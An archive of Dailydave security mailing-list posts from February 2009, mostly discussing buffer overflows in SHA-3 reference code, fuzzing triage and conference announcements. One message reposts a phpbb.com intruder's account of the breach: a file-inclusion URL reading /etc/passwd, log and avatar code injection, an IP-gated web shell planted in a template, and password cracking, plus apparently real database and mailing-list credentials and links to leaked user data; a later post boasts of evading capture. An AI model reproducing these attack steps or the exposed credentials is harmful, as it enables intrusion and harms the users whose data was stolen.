23, 2009 at 1:37 PM, Halvar Flake wrote: > Hey all, > > no offense Dave, but a Java or C# implementation of a hash function is > for most > purposes useless. Hash functions are used in a lot of environments where > interpreters for Java or C# are not available (nor desirable), and such > code would > make performance evaluations unnecessarily difficult. > > Also, hash functions are very much tailored to the CPUs they run on > (hence the > proliferation of add/xor/rol constructs in the SHA-3 contest) -- > building a hash > function optimized for the JVM would probably use different building blocks. > I have no idea which instructions in the JVM are "faster" than others, and > what the effects of the JIT compiler are -- could anyone clue me in ? > > Thirdly, "optimizing a hash function at a higher level" ... *cough* ... > there's no > data structures to speak of, and each hash function just churns through > bunch of bits. > This sounds like having drunk too much HLL coolaid. "Don't worry about a > thing, > optimize the high level bits of your algorithm" ... doesn't fly when > there is nothing > to optimize at the high level, and you still need to calculate an HMAC > for each > packet passing through. > > Anyhow, your post served it's purpose ... as flamebait ;) > > Anyhow, back to work. > Cheers, > Halvar > > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > From alex at sotirov.net Tue Feb 24 00:51:30 2009 From: alex at sotirov.net (Alexander Sotirov) Date: Tue, 24 Feb 2009 00:51:30 -0500 Subject: [Dailydave] It jerked and it berked but the thing really worked! In-Reply-To: References: <49A2ECEC.3090806@immunityinc.com> <49A31714.1090909@gmx.de> Message-ID: <20090224055130.GA47791@MacBook.local> On Mon, Feb 23, 2009 at 04:00:32PM -0800, Tal Garfinkel wrote: > To conclude, this is not production code, and was not intended to be. > What the fortify guys did is cute - a nice reminder of how easy > it is to mess up in C- and has no relevance to what the NIST process is about. The point is that often code that's not intended to be production quality ends up being used in production environments, especially when we're talking about the implementation of a crypto algorithm. Let's say that in a few years I'm given the task of migrating a system to use SHA-3. I'm not a crypto expert, so I would take the reference implementation and use it with as few modifications as possible to avoid weakening the crypto by changing something important. If Fortify hadn't looked at the code, what are the chances that a buffer overflow would have found its way into a number of other software projects? Even if the bug was fixed later, what are the chances of somebody finding the old reference code with Google and using it? At what point in the NIST process (or any other development process) do we start caring about secure coding practices? I believe the right answer is: before any code is released. Alex -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 194 bytes Desc: not available Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20090224/d64744f6/attachment.pgp From adam at homeport.org Tue Feb 24 01:05:19 2009 From: adam at homeport.org (Adam Shostack) Date: Tue, 24 Feb 2009 01:05:19 -0500 Subject: [Dailydave] It jerked and it berked but the thing really worked! In-Reply-To: References: <49A2ECEC.3090806@immunityinc.com> Message-ID: <20090224060519.GB15183@homeport.org> On Mon, Feb 23, 2009 at 05:10:21PM -0500, Todd Sabin wrote: | Dave Aitel writes: | | > http://blog.fortify.com/blog/fortify/ | > | > So Fortify owned up the SHA-3 hash contestants. It's highly | > embarrassing. I'm not sure why contestants were required to include a | > C implementation, but in the future this should be a managed language, | > like Java or C#. That would provide better results too, since people | > would understand it easier and it would be optimized at a higher | > level. Although, maybe anyone who submits code with bugs should just | > be disqualified, because that's funnier? | | Fortify mortify | Many cryptographers | Writing in C when they | Really should not. | | Nevertheless, we'll for- | Give them because of the | Cryptanalytical | Skills they have got. | Todd wrote some poetry explaining cryptography but not pointedly As rain falls on me Cryptol seems quite relevant will it build safely? (http://www.emergentchaos.com/archives/2009/01/cryptol_language_for_cryp.html) From ceng at Veracode.com Tue Feb 24 11:56:50 2009 From: ceng at Veracode.com (Chris Eng) Date: Tue, 24 Feb 2009 11:56:50 -0500 Subject: [Dailydave] It jerked and it berked but the thing really worked! In-Reply-To: <20090224055130.GA47791@MacBook.local> References: <49A2ECEC.3090806@immunityinc.com> <49A31714.1090909@gmx.de> <20090224055130.GA47791@MacBook.local> Message-ID: <79348E23E9D34F4F8032010B2913D72B0230AC14@NexusCore.Veracode.local> > The point is that often code that's not intended to be production quality > ends up being used in production environments, especially when we're talking > about the implementation of a crypto algorithm. Let's say that in a few years > I'm given the task of migrating a system to use SHA-3. I'm not a crypto > expert, so I would take the reference implementation and use it with as few > modifications as possible to avoid weakening the crypto by changing something > important. Absolutely. Nobody is going to rewrite the reference code based on the algorithm spec unless they are trying to optimize or adapt it to a specific processor or language. Reference code sticks around. Wondering aloud -- I'm curious how much of the code in popular libraries such as OpenSSL are taken directly from reference implementations. This scenario is analogous to sample code released with an application server or similar platform to demonstrate how to code up certain tasks. The sample apps aren't intended to be deployed as-is, but anybody who's done a code review knows that sample code is copied and pasted into real apps with alarming frequency. > At what point in the NIST process (or any other development process) do we > start caring about secure coding practices? I believe the right answer is: > before any code is released. Or to put a finer point on it: as early as possible in the development process. From lcamtuf at coredump.cx Tue Feb 24 12:48:06 2009 From: lcamtuf at coredump.cx (Michal Zalewski) Date: Tue, 24 Feb 2009 18:48:06 +0100 Subject: [Dailydave] It jerked and it berked but the thing really worked! In-Reply-To: <20090224055130.GA47791@MacBook.local> References: <49A2ECEC.3090806@immunityinc.com> <49A31714.1090909@gmx.de> <20090224055130.GA47791@MacBook.local> Message-ID: <448e9a320902240948o12d86bf4k81dcf64537cf61a1@mail.gmail.com> >> To conclude, this is not production code, and was not intended to be. >> What the fortify guys did is cute - a nice reminder of how easy >> it is to mess up in C- and has no relevance to what the NIST process is about. > The point is that often code that's not intended to be production quality ends > up being used in production environments, especially when we're talking about > the implementation of a crypto algorithm. Well, on one hand, buffer management glitches are tangential to the quality of evaluated algorithms, so it is a bit unfortunate that the flaws managed to attract more PR attention than the actual crypto design itself. On the other, there are too many real-world examples of sloppy reference implementations being reused in production code. Fortify mentions RSAREF bugs in OpenSSL; another example off the top of my head is RFC 4627 (which provides a "secure" JSON parser that, well, isn't all that secure, and ends up exposing some sites to attacks). So, bringing up the issues at this stage was a prudent decision; we can perhaps debate whether it would be more productive to reach out to authors / organizers directly, but looking at news feeds, it does not seem that Fortify tried to make much of a PR deal out of these findings? ... As for the choice of languages, the original topic that started the discussion - the algorithms boil down to bit shifting, and their straightforward implementations in assembly, C, C++, Java, Pascal, or BASIC would be very similar - and in C++, definitely not benefiting from any additional range or exception checking unless specifically designed to incorporate checks - something that could be done in C just as easily, just neglected in this case. Java would benefit from mandatory range checking in most cases, but only until the algorithm is backported 1:1 to C or C++. Naturally, in languages such as C++ or Java, the binary arithmetic behind the algorithm could be also expressed in a more convoluted (but maybe less error-prone) way, making use of the abstraction layers built into these languages. But then, they would be complex, clunky, and difficult to express in imperative languages that lack some of these layers. In fact, the "one notch above assembly" seems to be just the right approach for expressing performance-critical, low-level algorithms of this nature. They should not have trivial bugs in them, too, but that's a different topic (and the reason why they are submitted to expert scrutiny). /mz From talg at stanford.edu Tue Feb 24 12:57:35 2009 From: talg at stanford.edu (Tal Garfinkel) Date: Tue, 24 Feb 2009 09:57:35 -0800 Subject: [Dailydave] It jerked and it berked but the thing really worked! In-Reply-To: <20090224055130.GA47791@MacBook.local> References: <49A2ECEC.3090806@immunityinc.com> <49A31714.1090909@gmx.de> <20090224055130.GA47791@MacBook.local> Message-ID: > The point is that often code that's not intended to be production quality ends > up being used in production environments, especially when we're talking about > the implementation of a crypto algorithm. Let's say that in a few years I'm > given the task of migrating a system to use SHA-3. I'm not a crypto expert, > so I would take the reference implementation and use it with as few > modifications as possible to avoid weakening the crypto by changing something > important. > > If Fortify hadn't looked at the code, what are the chances that a buffer > overflow would have found its way into a number of other software projects? > Even if the bug was fixed later, what are the chances of somebody finding > the old reference code with Google and using it? > > At what point in the NIST process (or any other development process) do we > start caring about secure coding practices? I believe the right answer is: > before any code is released. Submissions are not reference implementations intended for production use. Again, what is important for this purpose is that they be fast and correct. The NIST process is not a software development process, it is an algorithm selection process. I think the point you are raising is different from the one I was making, and equally valid. That often people grab code and use it for purposes it was not originally intended -- a problem not unique to this context. There are multiple solutions one could suggest to this. One is to discourage people from releasing crypto code that is not production quality in forums where there may be ambiguity about its intended use. I see the merits in this approach. That said, its also important to be clear that this point is something of an aside from the task at hand. Another approach is to encourage (or require) that in places like the NIST process where there is even the possibility of confusion that all submissions that are not yet production quality have a disclaimer attached in their comments, require a -DNOT_FOR_PRODUCTION_USE flag to compile, etc. This approach has its own benefits and drawbacks as well. Cheers, Tal From r at fuckthespam.com Tue Feb 24 14:04:41 2009 From: r at fuckthespam.com (romain) Date: Tue, 24 Feb 2009 14:04:41 -0500 Subject: [Dailydave] It jerked and it berked but the thing really worked! In-Reply-To: <79348E23E9D34F4F8032010B2913D72B0230AC14@NexusCore.Veracode.local> References: <49A2ECEC.3090806@immunityinc.com> <49A31714.1090909@gmx.de> <20090224055130.GA47791@MacBook.local> <79348E23E9D34F4F8032010B2913D72B0230AC14@NexusCore.Veracode.local> Message-ID: <49A444C9.8040601@fuckthespam.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Chris Eng wrote: > Or to put a finer point on it: as early as possible in the development > process. But the problem is that when people do implementation, for algorithm testing purposes only (basically, for this SHA-3 competition), they won't put much effort in the quality of the code. They're actually in the stage of testing the algorithm only... I agree though, that NIST should have like a final stage, which would be to test the code, for security purposes (they have capabilities to do that), but only for the finalist. Who cares of MD6 implementation if Skein is to be the next SHA-3 and therefore, people should only use Skein (as SHA-3). Romain -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJpETJPqFffxxIpwoRAn9JAJ4irRqdDaabmgoeVQNUAeEB8x7QwQCfZgS/ Jz0+R45GCciZqwyVKhTV9BQ= =qIIZ -----END PGP SIGNATURE----- From jmoss at blackhat.com Tue Feb 24 15:13:35 2009 From: jmoss at blackhat.com (jmoss) Date: Tue, 24 Feb 2009 12:13:35 -0800 Subject: [Dailydave] SSL MITM fun. In-Reply-To: <120ef0530902201646w725b4024te09e1fd653ac2dc1@mail.gmail.com> References: <499D91CA.5060104@immunityinc.com> <86fc46910902191003j397d583ev4a4cbaa2c037f464@mail.gmail.com> <86fc46910902191004w3ff5e609p445843f528b89057@mail.gmail.com> <20090219233605.GK20022@syn.lnxnet.net> <120ef0530902201646w725b4024te09e1fd653ac2dc1@mail.gmail.com> Message-ID: <2bc401c996bc$5f96dbb0$1ec49310$@com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Hey guys, you can also watch the video and maybe that will answer some of your questions and speculations: https://media.blackhat.com/bh-dc-09/video/Marlinspike/blackhat-dc-09-marlins pike-slide.mov https://media.blackhat.com/bh-dc-09/blackhat-dc-09-marlinspike-interview.m4v http://www.youtube.com/watch?v=Rvp0oPluuLE That youtube is a quick interview I did with Moxie, but it was the first time I have ever done this at a Black Hat and I was totally exhausted and look a bit zapped. The idea worked well, though, so beware of me at future events pulling you aside and doing a quick interview. Moxie is a very good presenter, and the amount of coverage was amazing - more than I expected for sure. It wasn't earth shattering or anything, just a very well put together talk with plenty of examples and a comprehensive review of what is possible. I especially like when Moxie hints that there are many other areas where these SSL tricks work, but then constrains himself to only dealing with https. Kaminsky sums it up well with his blog post: http://www.doxpara.com/?p=1269 Jeff -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.9.1 (Build 287) Charset: us-ascii wsBVAwUBSaRU70qsDNqTZ/G1AQhl+wf/aDID4/pJIPOeZCgU25t0O2Zy1CbzE8x3 SHx5SKwKwBi/lV9XMNa0kWs1sHVgyyjtPUFqgZlCQTuyeiYQt7MaJYReQLqYhZaA 5s+9qVFJiIoqO3PQJsxdll120Cd6Yz7SqSQnIECEWubKgtTv6lX4Zq9w2jAWiFXn UchLFLmx13Fuvuk+SnPkMBB4Qv1ArBerJDmrT3IhT4TX52uIvW7iwAUNqjvecmca qlaKiUBXVWwB9w0GDVd4TyvxwwDAi9Vo/59uvzRZIIVDeG90WWxJp9jx1W7FGMZp ZhuCp7sHF1xGr5ypiqv0lizv7txr2LIP5JnwxV0zt7qxLj7HXBJAMA== =ufS7 -----END PGP SIGNATURE----- From dmolnar at gmail.com Tue Feb 24 19:07:18 2009 From: dmolnar at gmail.com (David Molnar) Date: Tue, 24 Feb 2009 16:07:18 -0800 Subject: [Dailydave] It jerked and it berked but the thing really worked! In-Reply-To: <49A32707.3080709@immunityinc.com> References: <49A2ECEC.3090806@immunityinc.com> <49A31714.1090909@gmx.de> <49A32707.3080709@immunityinc.com> Message-ID: <3ad50dea0902241607h33fe15cp2b3b0d5b472b9286@mail.gmail.com> On Mon, Feb 23, 2009 at 2:45 PM, Dave Aitel wrote: > Lots of new security technologies look like this: > > [some automated process] ----> [some small team of really skilled > people] ----> results. This is great stuff, but it's not "scalable" in > the sense that the sales team will imply. > To hijack the thread a bit, this feels like a key area for research. To start with, we have techniques like fuzz testing that get us a lot of the way there by providing actual test cases to developers, but right now it is hard to figure out automatically if the test cases produced are 0) important (i.e. exhibit an exploitable bug), 1) not a duplicate of a previous bug For 0) I like Pusscat's Byakugan work, there's also this work by Lin et al. http://www.cs.purdue.edu/homes/zlin/file/DSN08.pdf Of course we won't ever be able to match a true expert, but we can provide some value and triage. For 1) I can think of a few heuristics (and have implemented two) based on "fuzzy" stack hashes, but I don't have a lot of evidence that any one of them works well at separating out "distinct" bugs without leading to too many duplicates. What are other "human bottlenecks" for everyone's favorite analysis techniques? -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20090224/08bc2cd4/attachment.htm From olle at nxs.se Wed Feb 25 09:53:16 2009 From: olle at nxs.se (olle at nxs.se) Date: Wed, 25 Feb 2009 15:53:16 +0100 Subject: [Dailydave] CFP: SEC-T technical security conference, Stockholm 10-11 Sept. Message-ID: <20090225145316.GA20446@nxs.se> CFP for SEC-T 2009 - Embedded & Ubiquitous Computing This year, the SEC-T technical security conference will revolve around the fact that computing today permeates everyday life and how information security is effected by this. The 10th and 11th of September we want you to challenge your perceptions and see beyond the mundane veneer of life and hack the fabric that lies beneath. We are currently accepting speech proposals (60min, english language) for the second annual SEC-T conference in Stockholm, Sweden. If you have a security related topic you would like to present at the conference, please send a short description of the content to cfp at sec-t.org along with a brief biography. As usual selected speakers will be reimbursed for travel and hotel costs. There is no deadline set for proposals yet but as time goes more and more speaker slots will be filled, so be sure to submit your proposal as soon as possible! Please visit the SEC-T website at http://www.sec-t.org/ for more information about the SEC-T technical security conference. /olle From fw at deneb.enyo.de Wed Feb 25 15:54:05 2009 From: fw at deneb.enyo.de (Florian Weimer) Date: Wed, 25 Feb 2009 21:54:05 +0100 Subject: [Dailydave] It jerked and it berked but the thing really worked! In-Reply-To: <49A31714.1090909@gmx.de> (Halvar Flake's message of "23 Feb 2009 22:37:24 +0100") References: <49A2ECEC.3090806@immunityinc.com> <49A31714.1090909@gmx.de> Message-ID: <87prh6xmoi.fsf@mid.deneb.enyo.de> * Halvar Flake: > Also, hash functions are very much tailored to the CPUs they run on > (hence the proliferation of add/xor/rol constructs in the SHA-3 > contest) -- building a hash function optimized for the JVM would > probably use different building blocks. The fact that C hasn't got a rotate-left operator did not deter the submitters from using it. 8-) Things that are difficult to do efficiently on the JVM, like unsigned 32 x 32 -> 64 multiplication, are not very interesting for general-purpose implementations, either. I'm not sure if hashing for the JVM would look *that* much different. From maleficcode at gmail.com Wed Feb 25 23:15:03 2009 From: maleficcode at gmail.com (Mc) Date: Wed, 25 Feb 2009 23:15:03 -0500 Subject: [Dailydave] QuahogCon Message-ID: <49A61747.6020904@gmail.com> Hey Everyone: Let the media blitz begin. QuahogCon is announced tonight. http://quahogcon.org/2009/02/25/announcing-quahogcon/ From dr at kyx.net Thu Feb 26 12:59:23 2009 From: dr at kyx.net (Dragos Ruiu) Date: Thu, 26 Feb 2009 09:59:23 -0800 Subject: [Dailydave] Sniffing keystrokes using lasers/voltmeters Message-ID: <55368383-6C99-44ED-A537-566DE7C3CE44@kyx.net> New CanSecWest 2009 talk added: Sniff keystrokes with lasers/voltmeters: Side Channel Attacks Using Optical Sampling of Mechanical Energy Emissions and Power Line Leakage Andrea Barisani and Daniele Bianco Inverse Path cheers, --dr -- World Security Pros. Cutting Edge Training, Tools, and Techniques Vancouver, Canada March 16-20 2009 http://cansecwest.com London, U.K. May 27/28 2009 http://eusecwest.com pgpkey http://dragos.com/ kyxpgp -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20090226/48f416c7/attachment.htm From jeremie at le-hen.org Thu Feb 26 16:09:01 2009 From: jeremie at le-hen.org (Jeremie Le Hen) Date: Thu, 26 Feb 2009 22:09:01 +0100 Subject: [Dailydave] phpbb.com hacked... In-Reply-To: References: Message-ID: <20090226210901.GA2537@obiwan.tataz.chchile.org> Hi list, On Wed, Feb 04, 2009 at 07:14:51PM -0500, Dave Aitel wrote: > An interesting post on how a real site got hacked. You rarely see this > level of detail. > > http://hackedphpbb.blogspot.com/ This blog has been removed. Does anyone has an archive of its only post? If so, it would be nice to put it online. Thanks. Regards, -- Jeremie Le Hen < jeremie at le-hen dot org >< ttz at chchile dot org > From dave at immunityinc.com Fri Feb 27 11:37:48 2009 From: dave at immunityinc.com (Dave Aitel) Date: Fri, 27 Feb 2009 11:37:48 -0500 Subject: [Dailydave] SILICAQ is Released! Hooray! Message-ID: <49A816DC.4090700@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 http://www.immunityinc.com/products-silica.shtml Immunity is happy to announce the public release of SILICAQ, our next generation of wireless scanning devices. SILICAQ in short easy-to-digest bullet points: o Cracks WEP (using variant of PTW algorithm). Does this automatically with one button push. o Grabs data necessary to conduct off-line attacks against WPA. o Fast - uses latest MOSDEF and underlying CANVAS engine on a fast platform (the OQOv2). o Includes features of SILICA such as the advanced automation, mitm, exploitation, etc . (minus built-in GPS) o $8500 per unit (comes with 1 Year of Updates) o Fun for the whole family Thanks, Dave Aitel Immunity, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJqBbbtehAhL0gheoRAp5sAJ4t3sxEN/V5nt8Wxo8aOgtQG3wIswCfZdm5 bMtgn+HVM5aD056e6dbl/kI= =WAAS -----END PGP SIGNATURE----- From juha-matti.laurio at netti.fi Fri Feb 27 16:20:01 2009 From: juha-matti.laurio at netti.fi (Juha-Matti Laurio) Date: Fri, 27 Feb 2009 23:20:01 +0200 (EET) Subject: [Dailydave] phpbb.com hacked... Message-ID: <14682017.4028201235769602287.JavaMail.juha-matti.laurio@netti.fi> When checking Internet Archive's WayBack Machine there are no results, unfortunately: http://web.archive.org/web/*/hackedphpbb.blogspot.com/* The post's text is covered at http://www.yeshack.com/Article/200902/28542.html however. Juha-Matti Jeremie Le Hen [jeremie at le-hen.org] wrote: > Hi list, > > On Wed, Feb 04, 2009 at 07:14:51PM -0500, Dave Aitel wrote: > > An interesting post on how a real site got hacked. You rarely see this > > level of detail. > > > > http://hackedphpbb.blogspot.com/ > > This blog has been removed. Does anyone has an archive of its only > post? If so, it would be nice to put it online. > > Thanks. > Regards, > -- > Jeremie Le Hen > < jeremie at le-hen dot org >< ttz at chchile dot org > > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave From akokos at gmail.com Fri Feb 27 16:59:15 2009 From: akokos at gmail.com (Ary Kokos) Date: Fri, 27 Feb 2009 22:59:15 +0100 Subject: [Dailydave] phpbb.com hacked... In-Reply-To: <20090226210901.GA2537@obiwan.tataz.chchile.org> References: <20090226210901.GA2537@obiwan.tataz.chchile.org> Message-ID: <98e24d5b0902271359m7516a04cp22a1f42134ae345b@mail.gmail.com> Here you have : -------- I hacked PHPBB.com It all started on Jan 14th when I was surfing milw0rm and came across this exploit: http://www.milw0rm.com/exploits/7778 I then remembered that phpbb.com was running PHPlist and went looking through my email to find the link to the script?s location. So I went to phpbb.com/lists and sure enough they were running a vulnerable version. Next I enabled my favorite program proxy program and tried http://www.phpbb.com/lists/admin/index.php?_SERVER%5bConfigFile%5d=../../../../../../etc/passwd and sure enough it included the etc/passwd http://hackedphpbb.pastebin.com/f70f8bcaf http://rapidshare.com/files/192159914/etc.txt So I moved on to /etc/httpd/conf/httpd.conf http://rapidshare.com/files/192163061/httpd.txt http://hackedphpbb.pastebin.com/d29d8d4c7 And eventually found my way to their error log /home/logs/phpbb.com/error_log. After a little looking I figured out that their forums were running off /home/virtual/phpbb.com/community/ well it has been known for some time that you can include code in the error log. So I wanted to run some code, well in PHPBB3 the avatars are located in a folder called /home/virtual/phpbb.com/community/images/avatars/upload and your avatar is called (secret hash)_userid.jpg. But I didn?t know what the secret has was to include my picture (that had my own code in it) so by using the error log I injected code And figured out that their hash is f51ee61fe7a83fdf72780912bced0855. So now every time I want to upload run code against the server I can include this: /../../../../../../home/virtual/phpbb.com/community/images/avatars/upload/f51ee61fe7a83fdf72780912bced0855_ID.jpg So my first avatar was something simple and I wanted to see if phpbb kept their config file in plain text so cat /home/virtual/phpbb.com/community/config.php and sure enough, its in plain text. $dbms = 'mysqli'; $dbhost = 'phpbb.db.osuosl.org'; $dbport = ''; $dbname = 'phpbb'; $dbuser = 'phpbb2'; $dbpasswd = 'saxM9nfRjLbJ2Yy5'; $table_prefix = 'community_'; While I was at it I checked out the config for PHPlist and it was also in plain text: $database_host = "localhost"; $database_name = "phpbb_phplist"; $database_user = 'phplist'; $database_password = 'Berti3_Danc3'; So I started running commands and found out that I can upload a php text file on the forums and by finding where the path it was stored I was able to get around their 14kb restrictions on avatars and a lot easier than editing images with edjpgcom. So doing a mysql dump of the phplist_admin table it showed in plain text that the password for the one admin account was phpbb_n3ws and the login was phpBB. Wow I am shocked no one brute forced this. So I login and see what I can come across, wow 400,000 registered emails, I?m sure that will go quick on the black market, sorry people but expect a lot of spam. After trying to modify the files that were stored in PHPlist I gave up and moved on to the forums. But not before dumping the PHPlist emails here: http://rapidshare.com/files/192305758/out.txt On the phpbb forums it states it has 200,000 members, but due to them constantly getting spammed they have well over 400,000 accounts. I started dumping the community_users table with their user_id, username and user_password. PHPBB stores their user?s passwords in unsalted md5 and their admin?s passwords in some funky hash. But if you run your own forum and are an admin you can have your forums create the hash, and then you do an mysql update to one of the admin account?s and your in. Or if you change their password to yours you can use the recover password function. More to come from this later. So I wrote a script that submits via curl, the md5 hash to a website and then stores the successful result in my own mysql database. The total accounts cracked are: 28635. I could have continued cracking but it was getting boring. Here is a sql file of the cracked passwords. Warning, some of the user name?s aren?t right as I had to remove ticks and quotes for it to run in my script, so I included their user id so you can check their proper login name. http://rapidshare.com/files/192304153/phpbb_users.sql In gaining access to the admin panel of the forums, I was able to read staff forums and come across some interesting posts. I will share some with you. List passwords: TO try and make this easier, below is a list of the mailing list passwords I had, please update and add any others that you have captcha-commits at lists.phpbb.com 54a946c47dd434b2 catdb-commits at lists.phpbb.com 6f543db8f086e11f convertors-commits at lists.phpbb.com c192b68baacc8842 documentation-commits at lists.phpbb.com f85ffcdf9262420c easymod-commits at lists.phpbb.com 5db5bf75be85191b kbase-commits at lists.phpbb.com 7c843188ed2f6021 modteam-commits at lists.phpbb.com 533aeefe56bfa30c prosilver-commits at lists.phpbb.com 859785a9cc724e03 website-commits at lists.phpbb.com 3c79b9864ae5ce43 phpbb-honey-commits at lists.phpbb.com 7e9563750650e4c4 st-tool-commits at lists.phpbb.com 534d4a9b74bb77aa iit-track-commits at lists.phpbb.com 8f318ffd3a2067c8 packagemanager-commits at lists.phpbb.com 81657892dddafdca moddocs-commits at lists.phpbb.com 85c837b7f78e5435 Told you they were random Meik ;) edit by dhn: added website-commits edit by tm: added phpbb-honey-commits, st--tool-commits, iit-track-commits. 8kg;rt7Xykjq That password should work for all mailing lists on code.phpbb.com. Emergency contacts and irc info: http://hackedphpbb.pastebin.com/f1399b3e8 And then I remembered that the admin panel allows you to dump tables. So I dumped the users table which is accessible here: http://rapidshare.com/files/192261517/backup_sql.gz Next I enabled php in template files and added this bit of code to one of the templates: $ip=$_SERVER['REMOTE_ADDR']; if($ip == "x.x.x.x"){include("/home/virtual/phpbb.com/community/files/(myid)_82ec9f9eb80df2a16cc3638429631c9f");} Which happened to be a shell, R57shell actually. I then searched for a writable directory and created a php file and wrote the source code to that file. I cleaned up the template and settings and logs and left the forums to run the way they were. After searching around using the shell I came across the Blog settings: define('DB_NAME', 'wordpress'); // The name of the database define('DB_USER', 'blog'); // Your MySQL username define('DB_PASSWORD', 'htsCCvyCnt5jPYMx'); // ...and password define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value define('DB_CHARSET', 'utf8'); define('DB_COLLATE', ''); And now it comes to an end, you may ask why did I do this? For fun mainly, but what I would like to suggest to the team at phpbb is this. If you are going to run third party scripts, either integrate them or keep up to date on their patches. (even though the patch wasn?t released for 2 weeks). Also don?t allow admin?s to recover their passwords, they should have to contact another admin. Another item, doesn?t keep plain text files of passwords or in the database plain text passwords. I know this isn?t the best read, but it is very hard to look back on everything you did over the course of a few weeks. But hopefully I can now sleep better knowing that I am not worrying about the next way to break in. -----------------------------------UPDATE to all that say i am a script kiddie, fuck you phpbb, i did not alter any files on your server, everything i gained access to has been listed in this blog --------------------------update here are some updated links http://www.2shared.com/file/4785295/67200bd7/phpbb.html when i was talking about encrypted passwords, i ment when it was stored in PHPlist in plain text Posted by Hacked PHPBB(dot)com at 10:25 AM From martin.zember at matfyz.cz Fri Feb 27 21:06:13 2009 From: martin.zember at matfyz.cz (Martin Zember) Date: Sat, 28 Feb 2009 03:06:13 +0100 Subject: [Dailydave] phpbb.com hacked... In-Reply-To: <98e24d5b0902271359m7516a04cp22a1f42134ae345b@mail.gmail.com> References: <20090226210901.GA2537@obiwan.tataz.chchile.org> <98e24d5b0902271359m7516a04cp22a1f42134ae345b@mail.gmail.com> Message-ID: <7cd0845e0902271806g208370ffhca451980332b3be1@mail.gmail.com> And here is the other post. Not technical anymore. Only some sort of a self-interview. ------ Hacked PHPBB(dot)COM Thursday, February 12, 2009 Aftermath So phpbb.com is backup, congrats it only took a week to prove that I didn?t modify anything. But it sounds like they are still investigating on their old server and are running on a temp one. This is pointless as I can not be caught. So I am going to try and answer a few questions, (there may be an interview in the future) *Why did you do it*: already stated, boredom? To see if I could make a change to an upcoming release package. *Why did you release what you released*: To prove that the site was compromised *Why didn't you email the staff/post on the forums like a good hacker should do*: Because they would have patched the system and nothing more would have come from it, no thank you Mr. Wonderful. *Why are you such a script kiddy*: I used an exploit off milw0rm, so what? I found phpbb.com, not some scanner; I found the log files to include so code could be ran. I found the salt/hash. I found a way to include my avatar/uploaded files. Nothing was automated. *Why didn't you leave a calling sign/handle/team name*: First reason, because I didn?t want any sort of credit for it. Second so I couldn?t be traced. *Why did it take you so long:* I work for a living. And in one of phpbb.com server configurations, they have filters that excluding remote files. Also it took a while to locate a writable directory on phpbb.com not just a temp or server directory. This was only really achieved when I was able to alter the layout using the Admin panel. *Am I going to enjoy jail*: That is a funny one; all evidence has been removed on my end. All hard drives have been wiped, multiple times. Also the wireless network has been patched; I have flown back to my home country, and destroyed my network card (replaced with a new one). So good luck finding me, and on top of that good luck extraditing to USA, as my country doesn't have extradition laws with the US. *Have the admins offered you a job*: No they have not, nor would I wont one. I have tried to contact staff, about the break-in, but no one would respond. *The admins didn't get a chance to patch, why hack them*: the only damage that was done before the patch was downloading 160,000 user names and passwords to try and crack, which turned in to the 40,000 released to the public. The only damage after the patch was compromising the admin account, reading the forums, dumping the user table, and dropping the mail list table and user table. So I could have been locked out, if the admins had been on top of their patches. But I would place a bet that they wouldn't have know they were running un-patched until someone told them. *Am I sorry*: I am sorry it has taken the admins this long, I am sorry I released the names and phone numbers of the staff. Thanks for reading, and keep checking back here for the interview that should be coming down the pipes. Posted by Hacked PHPBB(dot)com at 1:48 AM 8 comments From r at fuckthespam.com Fri Feb 27 21:29:39 2009 From: r at fuckthespam.com (romain) Date: Fri, 27 Feb 2009 21:29:39 -0500 Subject: [Dailydave] It jerked and it berked but the thing really worked! In-Reply-To: <3ad50dea0902241607h33fe15cp2b3b0d5b472b9286@mail.gmail.com> References: <49A2ECEC.3090806@immunityinc.com> <49A31714.1090909@gmx.de> <49A32707.3080709@immunityinc.com> <3ad50dea0902241607h33fe15cp2b3b0d5b472b9286@mail.gmail.com> Message-ID: <49A8A193.9050803@fuckthespam.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Just to let you know that Fortify actually released the full version of the document in which I expected more interesting results... http://blog.fortify.com/repo/Fortify-SHA-3-Report.pdf Romain David Molnar wrote: > On Mon, Feb 23, 2009 at 2:45 PM, Dave Aitel wrote: > >> Lots of new security technologies look like this: >> >> [some automated process] ----> [some small team of really skilled >> people] ----> results. This is great stuff, but it's not "scalable" in >> the sense that the sales team will imply. >> > > To hijack the thread a bit, this feels like a key area for research. To > start with, we have techniques like fuzz testing that get us a lot of the > way there by providing actual test cases to developers, but right now it is > hard to figure out automatically if the test cases produced are > 0) important (i.e. exhibit an exploitable bug), > 1) not a duplicate of a previous bug > > For 0) I like Pusscat's Byakugan work, there's also this work by Lin et al. > http://www.cs.purdue.edu/homes/zlin/file/DSN08.pdf > > Of course we won't ever be able to match a true expert, but we can provide > some value and triage. For 1) I can think of a few heuristics (and have > implemented two) based on "fuzzy" stack hashes, but I don't have a lot of > evidence that any one of them works well at separating out "distinct" bugs > without leading to too many duplicates. > > What are other "human bottlenecks" for everyone's favorite analysis > techniques? > > > > ------------------------------------------------------------------------ > > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org 